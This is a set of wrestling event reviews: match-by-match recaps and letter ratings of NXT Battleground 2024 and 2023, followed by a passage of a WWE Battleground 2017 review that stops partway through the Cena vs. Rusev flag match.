NXT Battleground 2024: They Need To Find Something

Battleground 2024
Date: June 9, 2024
Location: UFC Apex, Las Vegas, Nevada
Commentators: Vic Joseph, Booker T.
Host: Sexyy Red

It’s time for another big special event and in this case it’s taking place at the UFC venue as the two sides continue to come together. The main event will see Trick Williams defending the NXT Title against newcomer Ethan Page, which should be a big fight. Other than that, there is a ladder match to crown the first Women’s North American Champion. Let’s get to it.

Sexyy Red welcomes us to the show and dances a bit.

The opening video talks about how awesome it is to be in Las Vegas but how bad things can go with a bad roll of the dice. The entire card gets a look here.

Women’s North American Title: Sol Ruca vs. Kelani Jordan vs. Jaida Parker vs. Michin vs. Lash Legend vs. Fallon Henley

Ladder match for the inaugural title. Legend and Jordan are left alone in the ring to start, with Legend picking her up for some knees to the ribs. The ladders are picked up on the floor, with Ruca and Jordan dropkicking one into Ruca. Jordan heads outside, leaving Ruca to hit moonsault knees onto Legend. Back in and Jordan gets crushes with a ladder in the corner, with Jordan being laid onto said ladder. Henley loads up the ladder but takes too long, allowing Michin to cut her off.

The ladder is set up, with Legend sending Michin into it before four women get in a big stacked up sleeper. With that broken up, Jordan goes for a climb but gets caught by Parker and Legend, who pull her down from opposite directions. Ruca and Parker kick Michin down but Henley is back up with a faceplant to send Ruca into the ladder. A bunch of people go up top until Ruca and Legend are up top.

Ruca’s sunset bomb attempt is blocked but Legend is pulled off by everyone else and tossed onto a bridged ladder. Michin goes up but gets pulled down, leaving Parker to go up, only to get pulled down for the Sol Snatcher. Henley gets the same and goes up, only to have Jordan run up at the same time. They knock each other down though and we get a breather. Jordan’s split legged moonsault connects onto Michin onto a ladder and she runs up to win the title at 12:28.

Rating: B-. This had the wild and dangerous spots that you were wanting to see, with something of a surprise result. Jordan winning is a nice choice as she is the definition of someone who could be a fresh face in the division. Now she has won something and can defend the title for at least a little while. The match itself was the usual insanity with some things not working as well as they planned, but it could have been a heck of a lot worse.

Yesterday, Oro Mensah jumped Ethan Page as he arrived in Las Vegas.

Tag Team Titles: OC vs. Axiom/Nathan Frazer

The OC is challenging. Anderson starts in on Axiom’s banged up arm so Axiom goes with a dropkick to get out of trouble. Frazer adds a running dropkick for two before grabbing a headlock takeover. It’s back to Axiom, who tries to go up but gets sent into the wrong corner so Gallows can stomp away.

Gallows fires off elbows to the bad shoulder and it’s back to Anderson for a headbutt. Axiom manages to get in a shot of his own though and the tag brings in Frazer to clean house. A springboard takes Anderson down and the running shooting star press gets two. Anderson avoids the phoenix splash though and hits a TKO of all things. The belly to back neckbreaker gives Gallows two and one heck of a sitout powerbomb does the same. Everything breaks down and Axiom comes back in to choke Gallows.

That’s broken up and it’s a running boot into a flapjack combination for two on Axiom. Frazer’s dive to the floor is countered into a chokeslam onto the apron, leaving Anderson to hit a super TKO for two on Axiom. Anderson tries it again but Frazer makes the save. That means Frazer can dive onto Anderson and Axiom gives Anderson a super Spanish Fly. The phoenix splash gives Frazer the retaining pin at 11:38.

Rating: B-. It was a pretty formula based match and the OC is still nowhere near what they used to be, but they had a good enough match here. Axiom and Frazer got to beat a team with a bit more credibility, as their build into a strong team continues. This wasn’t some classic match, but it did what it was supposed to do well enough.

We recap Lola Vice vs. Shayna Baszler in NXT Underground. They both have MMA backgrounds, but Vice is more about having fun while Baszler is more about competition. Tonight, they’re having a big fight.

Lola Vice vs. Shayna Baszler

NXT Underground, meaning no ropes and knockout/submissions only to win with wrestlers serving as unofficial lumberjacks. They slug it out to start until Baszler hammers her down. The fight goes outside, with Vice being sent into part of the set. Back in and Baszler suplexes her into an ankle lock. That’s reversed with a roll into the post s Vice grabs a rear naked choke.

Baszler breaks that up and they head outside, with Baszler loading up the announcers’ table. A legsweep and right hands have Vice in trouble but she avoids a running knee to the side of the table. The knee is wrapped around the post and Vice grabs a kneebar. Baszler starts getting out of that so Vice switches to a quickly broken ankle lock. Vice strikes her down again but another choke is broken up. Baszler fights to her feet and hits a kick to the head, setting up the Kirifuda Clutch.

Some twisting of the bad leg gets Vice out of trouble so Baszler knees her in the face. Baszler takes the knee pad down but charges into a spinning backfist to knock Baszler out to the floor. Back up and Baszler bets up security for some reason, only to have Vice kick her in the head again. Baszler grabs a triangle choke and kicks Vice out to the floor again. Vice manages to send her into the steps though and another spinning backfist knocks Baszler silly. The hammer fists finish Baszler at 11:17, who ties to jump the referee in her confusion.

Rating: C. It was definitely different and the violence was good, but this felt like something that should have gone about five minutes shorter. Vice winning is the right call and it’s one of the biggest wins of her career, but it got a bit boring about halfway through. At least they had Baszler put Vice over in a match that made sense. Just find a better way to do it.

Sexyy Red congratulates Kelani Jordan on her win and they dance.

Heatwave is coming to Toronto on July 7.

We recap the North American Title match with Oba Femi defending against Wes Lee and Joe Coffey. Femi is the unstoppable monster, Lee is the former champion and Coffey is the brawler who wants to beat people up and win the title.

North American Title: Oba Femi vs. Joe Coffey vs. Wes Lee

Femi is defending and the other two strike away at him to start, setting up a double dropkick to the floor. Lee knocks Coffey down and hits a dive on Femi, setting up a top rope twisting dive for two on Coffey. Back in and Femi suplexes them both at once before throwing Lee at Coffey for a nasty crash. They other two get together to stagger Femi, who goes up to the middle rope. Lee goes with him so Femi LAUNCHES HIM at Coffey in an awesome visual.

Back up and Coffey manages a sidewalk slam on Femi, setting up a Vader Bomb elbow for two. Lee is sent into the corner and Coffey manages a Death Valley Driver on Femi. Back up and Lee knocks Coffey onto Femi, with Lee having to make a last second save. With Femi outside, Coffey hits a dive, only to get planted onto the apron. Lee’s big running flip dive is pulled out of the air, with Femi powerbombing him onto Coffey for the big crash. Back in and Lee headscissors Femi into the corner, with Coffey having to make a save of his own.

Coffey hits a spinebuster for two on Lee but cue Gallus to beat up Femi on the floor. Lee gets hit with a top rope moonsault from Coffey, setting up the running headbutt into the corner for two. Femi gets back up and drops Gallus, only to get knocked down again with All The Best For The Bells. The standing Meteora puts Coffey down and there’s the Cardiac Kick for two, with Gallus pulling the referee out. Lee dives onto Gallus but Femi powerbombs Lee and Coffey to pin the latter at 12:05.

Rating: B. This was the Femi show as he was out there wrecking everyone in front of him like the monster that he has become. NXT knows what they have with him and this was a good way to make him look that much better. I’m not sure what is going to be able to stop Femi, but he was a wrecking ball here and it was another fun display of his monster size and power. Lee and Coffey were doing their thing, but this was about Femi and it worked.

We recap the Women’s Title match, as Roxanne Perez is defending against the monster TNA Knockouts Champion Jordynne Grace. It’s a cross promotional match, with Grace as a guest star who still feels like an unstoppable force.

NXT Women’s Title: Jordynne Grace vs. Roxanne Perez

Perez is defending and Grace’s TNA Knockouts Title isn’t on the line. Grace blocks a waistlock to start so Perez slaps her in the face. That just gets on Grace’s nerves and she suplexes Perez down, allowing a quick nipup. Grace goes up but gets pulled down by the arm, setting up the seated armbar.

A knee drop misses for Perez but she punches the leg out again. Perez’s high crossbody is countered into a World’s Strongest Slam, only to have Grace miss the Vader Bomb. They both go up, with Grace grabbing a super spinning torture rack bomb but it’s too early for the Juggernaut river. Instead Grace hits a clothesline and a spinebuster for two but the MuscleBuster is broken up.

Perez hits a running hurricanrana driver for two and it’s time to crank on the arm. The armbar over the ropes keeps Grace in trouble but this time she pulls Perez into the MuscleBuster for two more. They head to the apron, where Perez can’t hit Pop Rox to the floor. Instead she sends Grace face first into the apron, setting up a diving tornado DDT. Back in and a double springboard moonsault gets two, followed by a crossface.

That’s broken up as well before both of their finishers are blocked. Grace faceplants her down…and Tatum Paxley jumps the barricade. She grabs the Knockouts Title but here is Ash By Elegance (formerly known as Dana Brooke) to grab it as well. Grace takes Ash down and hits a Death Valley Driver on Perez. The Juggernaut Driver is countered into a cutter though and Pop Rox retains the title at 13:57.

Rating: B. These two were rolling before the ending, which seemed to be more of a way to set something up for the Knockouts Title. I wasn’t sure who was going to win here, with Perez fighting against the monster and having to score where she could. Grace has looked like a star every time she has been out there in WWE of any kind and it wouldn’t shock me to see that become a permanent situation as soon as possible.

Sexyy Red brags about the show and Lola Vice comes in to dance. Red and the interviewer join her.

Gallus jumps Wes Lee.

We recap Trick Williams defending the NXT Title against Ethan Page. Williams was likely to defend against Noam Dar but someone attacked Dar instead. That wound up being Page, who signed a deal with the caveat that he got a title match here. Worked for Williams.

NXT Title: Trick Williams vs. Ethan Page

Williams is defending. Page starts fast and hammers away but Williams is back up with a neckbreaker for two. Williams’ side kick misses though and he crashes out to the floor, where Page sends him into the steps. Back in and Page stomps away in the corner, setting up a double underhook backbreaker for two. Page grabs a bearhug to stay on the ribs before slowly stomping away.

Williams fights up and hits a spinning DDT to leave them both down. Back up and Williams kicks him in the face but misses the spinning variety. They go outside with Page being sent over the barricade before they head back inside. Williams’ spinning kick to the face gets two but Page knocks him out of the air. The running knee in the corner gives Page two and they slug it out from their knees.

They slug it out, with Williams hitting a Rock Bottom for two. The fight heads outside, where Williams loads up the announcers’ table, only to get powerslammed through the table instead. Back in and the Ego’s Edge (Razor’s Edge) gets two on Williams, leaving Page to yell at the referee. The distraction lets Williams hit the Trick Shot to retain at 12:14.

Rating: C+. And that’s the main event. It wasn’t exactly a hot feud coming in and it wound up going well, but there was almost no heat to the match at all. Page is just kind of a generic guy who hasn’t had the chance to turn into anything around here. Maybe this could have gone better if they had more time to build up the feud, but it only worked well enough.

Sexyy Red comes out to celebrate with Williams to end the show. Red said nothing and danced four times. End of her contributions to this whole thing.

Overall Rating: B-. The wrestling ranged from good to ok at worst, but there was very little that actually happened here. Kelani Jordan is the inaugural Women’s North American Champion, and the rest of the titles were retained. It was a show with good action but nothing that you need to see. The problem is that it feels like we’re pretty much right where we were when the build to this show began with only a few minor changes here and there. They need a big story around here and the closest thing right now is TNA having wrestlers show up. It’s going to need more than that and this show didn’t deliver it.

Results
Kelani Jordan won the Women’s North American Title ladder match
Axiom/Nathan Frazer b. OC – Phoenix splash to Anderson
Lola Vice b. Shayna Baszler – Hammer fist
Oba Femi b. Joe Coffey and Wes Lee – Powerbomb to Coffey
Roxanne Perez b. Jordynne Grace – Pop Rox
Trick Williams b. Ethan Page – Trick Shot

 

 

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

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AND

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NXT Battleground 2023: You Have To Get Out Of Florida

Battleground 2023
Date: May 28, 2023
Location: Tsongas Center, Lowell, Massachusetts
Commentators: Vic Joseph, Booker T.

NXT is back on the road and that is usually a good thing. NXT doesn’t have these major shows very often, but they have been doing them a bit more frequently as of late. The main event is a roles reversed rematch from the Stand & Deliver main event as Carmelo Hayes is defending the NXT Title against Bron Breakker. At the same time, we need a new Women’s Champion so let’s get to it.

The opening video is the same video that ended NXT, as we look at WWE’s history in Lowell and how much stuff has happened here over the years. Now it is time for the new generation and tonight’s card gets a look.

North American Title: Wes Lee vs. Tyler Bate vs. Joe Gacy

Lee is defending and Ava is here with Gacy. They circle each other to start before Gacy has to duck a double chop. Gacy bails to the floor but everyone switches places, allowing Gacy to dive on the other two as the get in a fight. Back in and Gacy hits a scoop brainbuster for two on Bate before Lee gets the same off a German suplex. Lee snaps off a hurricanrana for two on Bate, who is right back with a jumping elbow.

Bate suplexes Gacy down and sends Lee flying with a t-bone suplex. In his showing off portion of the match, Bate airplane spins Gacy and swings Lee at the same time. That’s a Claudio Castagnoli spot, not an anyone else spot. Lee and Bate slug it out until Bate backdrops Lee into a Gacy powerbomb (which he didn’t seem to know was coming). Gacy is back up with a Rock Bottom to Lee and a layout reverse DDT to Bate.

The Rings of Saturn have Lee in trouble until Bate (after waiting a bit) slugs away to make the save. Bate misses another shooting star and gets caught in the Rings of Saturn again. Lee makes a save this time and avoids a double handspring/springboard clothesline from the two. A double Cardiac Kick gives Lee two each but he misses a charge into the corner.

Lee is fine enough to grab a sleeper on Gacy but Bate makes the save. Bate hits the Tyler Driver 97 on Gacy but Lee makes the save and cradles Bate, with Gacy making the save (way too fast after getting taken out). Back up and Lee hits a big running flip dive to take Bate down on the floor. Gacy hits a release Rock Bottom on Lee, who pops back up with a Cardiac Kick to retain the title at 11:59.

Rating: B-. Nice opener here as Lee continues his reign, meaning that Gacy isn’t getting the title, making this a solid match. Bate was just kind of there and it wouldn’t surprise me to see him getting a solo title shot against Lee in the future. Lee is almost ready to surpass Velveteen Dream as the longest reigning champion in history and it wouldn’t surprise me if that is NXT’s big goal at the moment. Part of the reason is because he can keep having matches like this, and it worked well here again.

We recap the Women’s Title being vacated, setting up the tournament, with the finals taking place tonight.

We recap the Heritage Cup Title match. Noam Dar brought the cup over from NXT UK, Dragon Lee, with Nathan Frazer (who doesn’t like Dar either) wants it.

Here are the rules:

Six three minute rounds, twenty second break between rounds.

First to win two falls win, with falls coming by pinfall, submission or countout. Knockout or DQ ends the match instantly. A fall automatically ends a round.

If no one has won two falls by the end of six rounds, the champion retains the title.

Heritage Cup: Noam Dar vs. Dragon Lee

Lee is challenging with Nathan Frazer in his corner. Round One begins with Dar (who has no corner man) grabbing a waistlock into an armbar and driving some knees into the arm. Lee reverses into an armbar of his own and they stick with the grappling on the mat. Lee can’t get a sunset flip or a superkick, leaving Dar to bail over to the ropes. Instead Lee punches him in the face and hits a dropkick to the floor as time expires.

Round Two begins with Lee hitting some running elbows and a running hurricanrana. A slingshot kick to the chest has Dar in trouble in the corner but he tells Lee to bring it on anyway. Back up and Dar hits a spinning elbow to the head for the pin and the first fall at 1:31 of the round and 5:02.

Round Three begins with Oro Mensah now as Dar’s corner man and Dar cranking on the arm to no avail. Lee kicks him in the head for the break but Dar elbows him down again. A rollup gets two on Dar and Lee kicks him in the head again. With Dar on the apron, Lee hits a heck of a running hurricanrana to the floor, followed by a heck of a suicide dive. Back in and Lee kicks away but time runs out with Dar in trouble. Hold on though as Dar gets in a cheap shot after the bell, leaving Lee down during the break.

Round Four begins with Dar hitting a running forearm for two but Lee small packages him for the same. Dar slaps on a cross armbreaker but Lee stacks him up to escape. A Texas Cloverleaf goes on Dar, with Mensah pushing the rope towards him for the break. Mensah sends Frazer into the steps, leaving Lee to hit a spinning crossbody for the pin at 2:06 of the round (11:25 overall) to tie it up. Frazer and Mensah get in a fight, with Frazer knocking him outside for a heck of a suicide dive.

Round Five begins with Lee striking away but Dar counters a kick into a quickly broken ankle lock. Another running hurricanrana is countered into a nasty powerbomb to the floor, followed by the spinning elbow to the face for two on Lee. Back up and Dar strikes away, only to get caught with a snap German suplex. Lee hits an awesome sitout powerbomb for two….and here is Jakara Jackson. The distraction lets Lash Legend come in and hit Lee with the bucket. The Nova Roller (running kick to the head) finishes Lee to retain the title at 2:18 of the round and 14:22 overall.

Rating: B. This is one of those match styles that takes some time to get used to as it’s rather different than just about anything else you’ll see. They wound up having a good, back and forth match, though the idea of Legend getting more TV time makes my head hurt. Other than that, I could go for something like this being an on again/off again feature, as it works well for a technical style wrestler. Nice introduction to the concept here, Legend interference aside.

We recap Dijak vs. Ilja Dragunov. They hate each other and want to torture one another, which included Dragunov allowing Dijak to torture him. Now it’s a Last Man Standing match, which could be brutal.

Dijak vs. Ilja Dragunov

Last Man Standing. They slug it out to start with neither being able to get very far with the grappling. Dijak knocks him outside and throws the steps back in, only to have Dragunov fight back to take over. Dragunov dives into a raised boot though and gets planted onto the steps for about seven. That lets Dijak get out a table but Dragunov knocks him into the barricade to cut that off fast.

Back in and Dijak’s chokeslam onto the steps is countered into a DDT onto them instead, leaving both of them down. Dragunov crushes Dijak with the steps in the corner, setting up a heck of a Van Terminator to knock Dijak silly. Somehow Dijak gets to his feet so Dragunov unloads on him with forearms and chops.

Back up and Dijak flips out of a German suplex, setting up a hard chokeslam over the top and onto the apron. A quick Feast Your Eyes knocks Dragunov silly, though nowhere near enough for the ten. That means it’s time for some kendo stick shots in the corner, though Dragunov is sitting on the turnbuckle, with his legs shaking. With Dragunov not going down, Dijak gets in his face to yell and swings the stick some more.

The stick is broken over Dijak’s knee so he goes to get a chair. The delay lets Dragunov hit the Torpedo but Dijak is up again. Instead Dragunov climbs onto the steps and hits a big flying forearm to send Dijak face first into the chair for the win (barely beating the count himself) at 15:56.

Rating: B+. Oh yeah this worked as they just beat the fire out of each other for about fifteen minutes. Dragunov knows how to sell a beating like few others and you can feel the pain when he is out there taking a beating. I could easily see Dragunov becoming one of the biggest stars in NXT rather quickly and this is his biggest win stateside so far. Heck of a fight here and it was all kinds of physical.

We go to Chase U, where Duke Hudson is happy with his students, except for Ricky (Duke: “RICKY YOU SUCK!”). Anyway, Hudson has a lot on his plate so he has brought in Charlie Dempsey and Drew Gulak to help teach catch as catch can wrestling. They use Thea Hail’s lack of grappling skills as proof that she has no future. Hail storms off but Hudson isn’t happy with how things are going. Hudson wants them to have a better lesson plan for next week and sends them off. As everyone leaves, Hudson does not seem pleased with the clip of Hail in the ring.

Noam Dar and company are VERY happy with what they did out there, as the Heritage Cup has come to America.

The Great American Bash is coming to Cedar Park, Texas on July 30.

Tag Team Titles: Gallus vs. Creed Brothers

The Creeds (with Ivy Nile, who cancels out Gallus’ Joe Coffey) are challenging. Julius cranks on Mark’s arm to start and it’s already a four way showdown. Gallus tries to charge at them but it’s Brutus working on Mark’s arm to keep him in trouble. Julius offers a distraction so Brutus can get in an ax handle to the arm but Wolfgang comes in off a blind tag.

That means a hot shot can drop Brutus, allowing the champs to take over for the first time. Brutus fights up from a chinlock but Mark is right there with a middle rope shoulder and a near fall. Mark’s chinlock is broken up but Wolfgang is right there to grab a front facelock. That’s broken up as well and it’s Julius coming in to clean house, including the suplexes.

As in about six straight, followed by a series of nipups. A standing shooting star into Brutus’ moonsault press gets two on Mark as Julius gets a needed breather. Everything breaks down and the Brutus Ball drops Wolfgang fast. They all get up for the double slugout with Julius clearing the ring again. Cue Ava to go after Nile, with the distraction letting Gallus hitting their running knee/spinning flapjack combination to retain at 9:33.

Rating: B-. This wasn’t exactly a hot story coming in but it wound up being a good showdown. As you might have expected, this included yet another Julius showcase, as he is one of the most athletically gifted people that I’ve seen in NXT for a very long time now. He isn’t ready to split off entirely on his own just yet, but once he does, the potential is right there for someone who can do that kind of insanely athletic stuff. If he has the charisma and mic skills to back it up, he is an absolute star in the making.

The masked attacker will reveal themselves on NXT.

Video on Lyra Valkyria, who is ready to win the Women’s Title.

Women’s Title: Lyra Valkyria vs. Tiffany Stratton

For the vacant title. Feeling out process to start with Lyra grabbing a headlock takeover to little avail, other than frustrating Stratton. The feeling out process continues until Lyra seems to tweak her leg on a leapfrog. Lyra is right back up and backflips away from a test of strength, followed by an armdrag to send Stratton outside. Stratton pulls her outside and starts in on the knee, including ramming it into the post.

The knee gets crushed back inside and Stratton snaps it back a few times. The Muta Lock goes on to keep the leg in trouble but Lyra manages to get out. Back up and they slap it out, even as Stratton holds her by the leg. We hit the Stretch Muffler for a bit but Lyra is back up with a sunset flip for two. Lyra kicks her into the corner and gets two more off a rollup. Back up and something like an enziguri sends Stratton outside, followed by the big dive to the floor.

They head back inside with Stratton rolling through a high crossbody, setting up a Samoan drop, which is reversed into a crucifix for two. Stratton knocks her down and hits a bottom rope…I think elbow for two more and they’re both a bit winded. Stratton’s running basement dropkick gets two before rolling her over by the leg.

Back up and Lyra pulls her out of the air for a German suplex but the leg gives out on the spinwheel kick. Stratton hits a fireman’s carry slam, only to miss the Prettiest Moonsault Ever. The spinwheel kick connects but Stratton’s foot is on the rope. Lyra can’t follow up though and it’s the fireman’s carry slam into the Prettiest Moonsault Ever to give Stratton the pin and the title at 15:59.

Rating: B. It was pretty easily Stratton’s best match ever and they didn’t exactly hide how this was going to go. Stratton has been presented as a major star in the division for the last few months and has seemingly just been waiting for the big moment. There was no better option for the title here and Lyra has been a glorified afterthought coming into this. Good match with the leg playing a part almost entirely throughout and it made for a special moment, with the title change making it that much better.

We recap Bron Breakker vs. Carmelo Hayes for the NXT Title. Hayes took the title from Breakker at Stand & Deliver and then turned heel, attacking Hayes and Trick Williams multiple times. Now it is time for Hayes to defend the title again in his backyard in a huge rematch.

NXT Title: Bron Breakker vs. Carmelo Hayes

Hayes, with Trick Williams, is defending. Williams handles Hayes’ entrance, comparing Hayes’ title win to other Boston sports win (eh…..yeah ok nice idea). Hayes goes right after the leg to start but Breakker is fine enough to run him over with a shoulder. They head outside with Hayes hammering away but Breakker comes back with the spinebuster powerslam back inside.

Breakker sends him flying with a hiptoss, only to have Hayes score with a Fade Away. It’s back to the leg, followed by a top rope armdrag to keep the speed up. Breakker isn’t having that and blasts him with a clothesline, followed by the overhead belly to belly. A nice spinning belly to belly into some pushups, setting up another belly to belly to keep Hayes down. Breakker sends him flying with a German suplex and even mocks the LET’S GO MELO chant.

The Recliner doesn’t work though as Hayes manages a quick DDT out of a suplex for a breather. A pump kick and springboard clothesline drops Breakker again but he tells Hayes to hit him in the face. That means a knee to said face sets up a suplex cutter for two as Breakker is a bit rocked.

Breakker’s gorilla press is countered into a Codebreaker but it’s too early for Nothing But Net. Instead Breakker cuts him out of their with the spear (geez) for two. The straps come down but the gorilla press is countered into a small package to give Hayes two. Some superkicks into a springboard DDT plants Breakker and Nothing But Net retains the title at 14:15.

Rating: B. This got better as it kept going and it was a good main event as Hayes gets another crowning moment. What matters is having Hayes clear Breakker out, as there is no reason for Breakker to come after the title anytime soon. Breakker showed what a monster he can be but now the crown has moved on, meaning Hayes needs to find a new challenger after this one. Good main event, though if this wasn’t Hayes’ hometown, Stratton should have headlined.

Hayes and Williams celebrate to end the show.

Overall Rating: B+. It wasn’t quite a Takeover, but it certainly followed the Takeover formula. That is what it needed to be and the good thing is there was nothing close to bad on the whole show. They got some of the bigger stories out of the way at the moment and now things seem ready to move forward starting on the road to the Great American Bash. I had a good time with this one and for a show that only ran about two hours and fifteen minutes, you couldn’t ask for much more.

Results
Wes Lee b. Joe Gacy and Tyler Bate – Cardiac Kick to Gacy
Noam Dar b. Dragon Lee 2-1
Ilja Dragunov b. Dijak when Dijak could not answer the ten count
Gallus b. Creed Brothers – Running knee/spinning flapjack to Julius
Tiffany Stratton b. Lyra Valkyria – Prettiest Moonsault Ever
Carmelo Hayes b. Bron Breakker – Nothing But Net

 

 

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

AND

Remember to check out Wrestlingrumors.net for all of your wrestling headline needs.

 




Battleground 2017: The Worst Match I’ve Seen In At Least Ten Years

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Date: July 23, 2017
Location: Wells Fargo Center, Philadelphia, Pennsylvania
Commentators: Tom Phillips, John Bradshaw Layfield, Byron Saxton

It’s time for another pay per view before we head on to Summerslam but tonight we have a Punjabi Prison match. Yeah they’re dusting this one off because the Smackdown World Champion is of Indian descent and this is some kind of a war themed pay per view. Other than that we have John Cena vs. Rusev in a flag match to keep up the same theme. Let’s get to it.

Kickoff Show: Aiden English vs. Tye Dillinger

English sings before the match, dubbing himself the Beethoven of Baritone and the Drama King. It helps that he has one heck of a voice. English shoulders him down to start and does a quick curtsy. Dillinger comes right back with a series of very fast standing switches into an armdrag, good for a TEN. Back up and English sends him into the middle buckle before unloading with some right hands.

We come back from a break with Dillinger fighting out of a chinlock and hitting a running forearm. A spinebuster gives Tye two but he can’t hit the Tyebreaker. English gets two off a layout DDT (he lands on his stomach instead of falling backwards) and frustration is setting in. Aiden tries a Tyebreaker of his own but spends too much time giving Dillinger a ZERO, allowing Tye to slip out into a sunset flip for two. That’s fine with English though as he sends Aiden into the corner and grabs a dragon suplex which spins off into a faceplant for the pin at 9:45.

Rating: C. I had a feeling they might have English go over here as it’s fairly clear that Dillinger has already lost whatever steam he could have had coming into the main roster. English might not be much but he at least has a character, which is more than Dillinger has with a catchphrase. Dillinger will be fine for the short term but he needs something more and he needs it in a hurry.

The opening video shows wrestlers wearing war paint, which they’ve all earned. It transitions into Rusev running down America and Orton wanting his title back.

Tag Team Titles: New Day vs. Usos

New Day is challenging and clad in red, white and blue. You know, because WWE wants to do an AMERICA IS AWESOME show and chose freaking Battleground while also doing GREAT BALLS OF FIRE instead of Great AMERICAN Bash. Keep up the brilliance guys. Kofi dropkicks Jey at the bell and it’s off to Woods as the challengers hit some rapid fire kicks, followed by a middle rope elbow for two, all in the first thirty seconds. The champs take over on Woods in the corner with a variety of kicks and stomps, followed by Jey hitting the running Umaga attack (with JBL mentioning Umaga by name for a change).

Woods shoves Jey off the top though and hits a missile dropkick, allowing the hot tag to Kingston. Trouble in Paradise doesn’t work so both champs are sent outside with Kofi tagging Woods. The Usos able to catch the trust fall though and Kofi gets powerbombed on the floor. A wheelbarrow suplex is countered into a faceplant for two on Jimmy but the Honor Roll is broken up.

Woods eats a pop up Samoan drop for a close two and is able to get up top for the really far elbow. That’s fine with Jimmy though who slides over for a superkick to knock Woods out of the air (SWEET) for two. We hit a Tequila Sunrise into a long half crab until Woods gets over to the rope for the break.

Kofi remembers he’s alive and comes back in with a top rope double stomp to Jimmy while Woods holds him in a backbreaker (not the Midnight Hour Tom). The champs are right back with a superkick into the Superfly Splash for an even closer near fall. Woods is back up to shove Jey off the top, leaving Jimmy to eat Trouble in Paradise. Xavier adds the really long top rope elbow for the pin and the titles at 13:43.

Rating: B+. This was straight out of the old WCW Cruiserweight Title playbook: give two people some time and let them go nuts with high spots and hot near falls. The Usos weren’t doing anything with the belts and New Day, though not what they used to be, are still flat out more popular than anyone else in the promotion so this makes a good bit of sense. I’m not sure who they feud with but at least they’re back on top.

Recap of Baron Corbin vs. Shinsuke Nakamura. Corbin attacked him at the start of the Money in the Bank ladder match and has done it multiple times since. Tonight it’s about revenge.

Shinsuke Nakamura vs. Baron Corbin

Nakamura’s pop is outstanding, even for a Philadelphia crowd. Corbin gets in his face to start but Nakamura calmly kicks him down, meaning it’s time for an early breather on the floor. They trade places with Nakamura making him wait for a bit, only to charge back in for a right hand to the jaw. We hit a bearhug of all things but Nakamura reverses into a triangle choke.

Corbin slips out of that as well and yells at the crowd before putting on the bearhug again. A chokeslam is broken up with a quick kick, followed by a spinning kick to the head. Corbin runs him over with an awesome clothesline but Nakamura knees the heck out of him to escape. Kinshasa is countered with Deep Six for two but a chokeslam is countered into a Backstabber. Nakamura loads up the reverse exploder but Corbin kicks him low for the DQ at 12:28.

Rating: C-. As usual, Nakamura continues to just kind of be there and that makes for some disappointing matches. The bearhug and ending really hold this one back too as Corbin didn’t exactly show off much here and Nakamura was exactly what he’s been doing in recent months. I hope he steps up at Summerslam because otherwise, I have no idea when he’s going to do so.

Baron goes to leave but hits Nakamura with the briefcase and adds End of Days to continue the feud.

Video on Naomi and the five potential challengers to set up the #1 contenders match.

Natalya vs. Charlotte vs. Becky Lynch vs. Tamina vs. Lana

Elimination rules and the winner gets Naomi, on commentary here, at Summerslam. Lana is knocked to the floor to start (probably not the worst idea) and everyone else brawls inside. Natalya tries a Sharpshooter on Tamina until Lana makes the save, earning herself a showdown with Charlotte. Tamina breaks up the beatdown and the double team begins on Charlotte.

Lana completely misses a kick to the head but gets two anyway and it’s time to pose. Becky FINALLY comes back in and beats on Lana, setting up a Charlotte vs. Becky showdown. Natalya breaks it up and hits the basement dropkick for two on Charlotte. Lynch kicks Natalya in the ribs and grabs the Bexploder, followed by another one to Lana. Another Bexploder to Natalya looks to set up the Figure Eight but Charlotte can’t get it on.

The discus lariat sets up the Sharpshooter, only to have Lana make a rather illogical save. Tamina has to break up the Disarm-Her on Lana, followed by a Samoan drop. The same hold has to be broken up a second time but Becky gets the Disarm-Her on Tamina for the tap at 8:08.

The same hold gets rid of Lana at 8:38, followed by a rollup to eliminate Becky at 8:42. So we’re down to Charlotte vs. Natalya with Charlotte powerbombing her way out of an early cross armbreaker. Charlotte’s moonsault hits knees though and Natalya sends her hard into the corner for the pin and the title shot at 10:58.

Rating: D+. So we sit through a bunch of stupid saves and Lana being in way over her head (she’s gorgeous, she looks amazing in her outfits and she has the character but sweet goodness it’s not working in the ring) and NATALYA wins? She’s the biggest charisma vacuum I’ve ever seen and is the definition of nothing more than a hand in the ring. You have the other options for the title shot and you pick her? Just…..why? Oh and please, PLEASE keep Naomi away from microphones. She’s just not good at talking in any form.

Natalya won’t shake Naomi’s hand.

We recap AJ Styles vs. Kevin Owens. Kevin defeated him via countout earlier this summer but AJ won a battle royal to get another title shot at Battleground. Then he won the title at Madison Square Garden in a big surprise, switching the roles for this show.

US Title: AJ Styles vs. Kevin Owens

Styles is defending. Owens grabs a headlock to start but AJ armdrags him out to the floor for a breather. Back in and Kevin gets taken down again, sending him outside again. A dropkick sends Owens outside for the third time but this time AJ misses a charge into the barricade. Owens grabs a long chinlock back inside, followed by a DDT to cut off AJ’s comeback.

We hit the chinlock again with Owens adding in the trash talk as only he can. The Phenomenal Rush puts Owens down and the seated forearm sends Owens over to the apron. AJ can’t lift Owens for much of anything and a missed charge sends him hard into the ropes. The fireman’s carry neckbreaker gives AJ two but the springboard 450 hits knees.

Owens nails the Cannonball for two but Styles is right back with a torture rack into the spinning powerbomb for a near fall of his own. Another springboard is broken up but Owens trips AJ up and sends him shoulder first onto the apron. Back in and the ref is bumped, leaving no one to see Owens in the Calf Crusher. He doesn’t tap but rather reverses into a Crossface on the bad shoulder. That’s reverses into a Crossface on Owens but he reverses into a rollup for the pin and the title at 17:44.

Rating: B. Uh….ok? Did they really just change the title at Madison Square Garden for the sake of a DVD release? The match was good enough but I’m not wild on them changing the title back and forth so fast. I was looking forward to AJ doing the Open Challenge but odds are we’re looking at a gimmick rematch at Summerslam, which doesn’t do much for me.

The Singh Brothers tell Jinder Mahal that they can’t be at ringside with him. Mahal says he has 1.3 billion people in his corner.

We recap John Cena vs. Rusev. Cena came back on the Fourth of July and talked about how much he loved America, only to have Rusev interrupt. This led to a challenge to a flag match, which Rusev accepted.

Rusev vs. John Cena

Flag match, which means you have to pull your country’s flag off a pole, take it up the ramp and put it on a pedestal to win. Cena headlocks him to start but Rusev shoves him away and goes straight for the flag. That’s not happening yet though so Cena pulls him off with something like a super bulldog.

